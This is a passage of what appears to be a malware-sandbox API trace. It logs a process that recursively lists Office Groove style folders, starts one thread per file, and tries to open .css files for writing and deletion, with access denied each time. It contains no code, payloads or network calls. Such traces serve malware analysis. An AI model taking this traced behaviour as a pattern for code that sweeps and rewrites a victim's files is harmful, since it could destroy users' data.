lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x932e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4 [0193.661] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0193.661] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0193.661] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0x932a40 [0193.661] wcscpy (in: _Dest=0x932a40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" [0193.661] wcscat (in: _Dest=0x932a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\" [0193.661] wcscat (in: _Dest=0x932a40, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" [0193.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x932a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4 [0193.662] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0193.662] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0193.662] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0193.662] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0x932d10 [0193.662] wcscpy (in: _Dest=0x932d10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" [0193.662] wcscat (in: _Dest=0x932d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\" [0193.662] wcscat (in: _Dest=0x932d10, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF" [0193.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x932d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0 [0193.664] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0193.664] FindClose (in: hFindFile=0x942030 | out: hFindFile=0x942030) returned 1 [0193.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x969d08) returned 1 [0193.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d59e0) returned 1 [0193.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd9d8) returned 1 Thread: id = 8299 os_tid = 0x65c [0191.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css")) returned 0x20 [0191.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css", dwFileAttributes=0x20) returned 0 [0191.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.432] GetLastError () returned 0x5 [0191.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css", dwFileAttributes=0x20) returned 0 [0191.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4160) returned 1 Thread: id = 8300 os_tid = 0xf80 [0191.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd0) returned 0x8dce08 [0191.433] wcscpy (in: _Dest=0x8dce08, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" [0191.433] wcscat (in: _Dest=0x8dce08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\" [0191.433] wcscat (in: _Dest=0x8dce08, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*" [0191.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96a440 [0191.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942470 [0191.433] wcscmp (_String1=".", _String2=".") returned 0 [0191.433] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.433] wcscmp (_String1="..", _String2=".") returned 1 [0191.433] wcscmp (_String1="..", _String2="..") returned 0 [0191.433] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0191.433] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0191.433] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0191.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0x932a40 [0191.434] wcscpy (in: _Dest=0x932a40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" [0191.434] wcscat (in: _Dest=0x932a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\" [0191.434] wcscat (in: _Dest=0x932a40, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF" [0192.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x932a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74 [0192.270] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0192.270] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0192.271] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0192.271] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0x932e00 [0192.271] wcscpy (in: _Dest=0x932e00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" [0192.271] wcscat (in: _Dest=0x932e00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\" [0192.271] wcscat (in: _Dest=0x932e00, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF" [0192.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x932e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0192.272] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0192.272] FindClose (in: hFindFile=0x942470 | out: hFindFile=0x942470) returned 1 [0192.272] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96a440) returned 1 [0192.272] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dce08) returned 1 [0192.272] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ddee8) returned 1 Thread: id = 8301 os_tid = 0x7b4 [0191.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css")) returned 0x20 [0191.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css", dwFileAttributes=0x20) returned 0 [0191.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.435] GetLastError () returned 0x5 [0191.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css", dwFileAttributes=0x20) returned 0 [0191.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4780) returned 1 Thread: id = 8302 os_tid = 0xeac [0191.436] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x12d48cc0 [0191.436] wcscpy (in: _Dest=0x12d48cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" [0191.436] wcscat (in: _Dest=0x12d48cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\" [0191.436] wcscat (in: _Dest=0x12d48cc0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*" [0191.436] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x969f70 [0191.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x969f70 | out: lpFindFileData=0x969f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941cf0 [0191.437] wcscmp (_String1=".", _String2=".") returned 0 [0191.437] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x969f70 | out: lpFindFileData=0x969f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.438] wcscmp (_String1="..", _String2=".") returned 1 [0191.438] wcscmp (_String1="..", _String2="..") returned 0 [0191.438] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x969f70 | out: lpFindFileData=0x969f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0191.438] wcscmp (_String1="background.gif", _String2=".") returned 1 [0191.438] wcscmp (_String1="background.gif", _String2="..") returned 1 [0191.438] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf6) returned 0x8ec3d8 [0191.438] wcscpy (in: _Dest=0x8ec3d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" [0191.438] wcscat (in: _Dest=0x8ec3d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\" [0191.438] wcscat (in: _Dest=0x8ec3d8, _Source="background.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif" [0193.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8ec3d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64 [0193.814] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x969f70 | out: lpFindFileData=0x969f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0193.814] wcscmp (_String1="BUTTON.GIF", _String2=".") returned 1 [0193.814] wcscmp (_String1="BUTTON.GIF", _String2="..") returned 1 [0193.814] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x12cf8f78 [0193.814] wcscpy (in: _Dest=0x12cf8f78, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" [0193.814] wcscat (in: _Dest=0x12cf8f78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\" [0193.814] wcscat (in: _Dest=0x12cf8f78, _Source="BUTTON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF" [0193.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf8f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38 [0193.815] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x969f70 | out: lpFindFileData=0x969f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0193.815] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0193.815] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0193.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf0) returned 0x12cf9450 [0193.815] wcscpy (in: _Dest=0x12cf9450, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" [0193.816] wcscat (in: _Dest=0x12cf9450, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\" [0193.816] wcscat (in: _Dest=0x12cf9450, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" [0193.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf9450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64 [0193.817] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x969f70 | out: lpFindFileData=0x969f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0193.817] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0193.817] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0193.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x12cf9548 [0193.817] wcscpy (in: _Dest=0x12cf9548, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" [0193.817] wcscat (in: _Dest=0x12cf9548, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\" [0193.817] wcscat (in: _Dest=0x12cf9548, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF" [0193.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf9548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0193.818] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x969f70 | out: lpFindFileData=0x969f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, 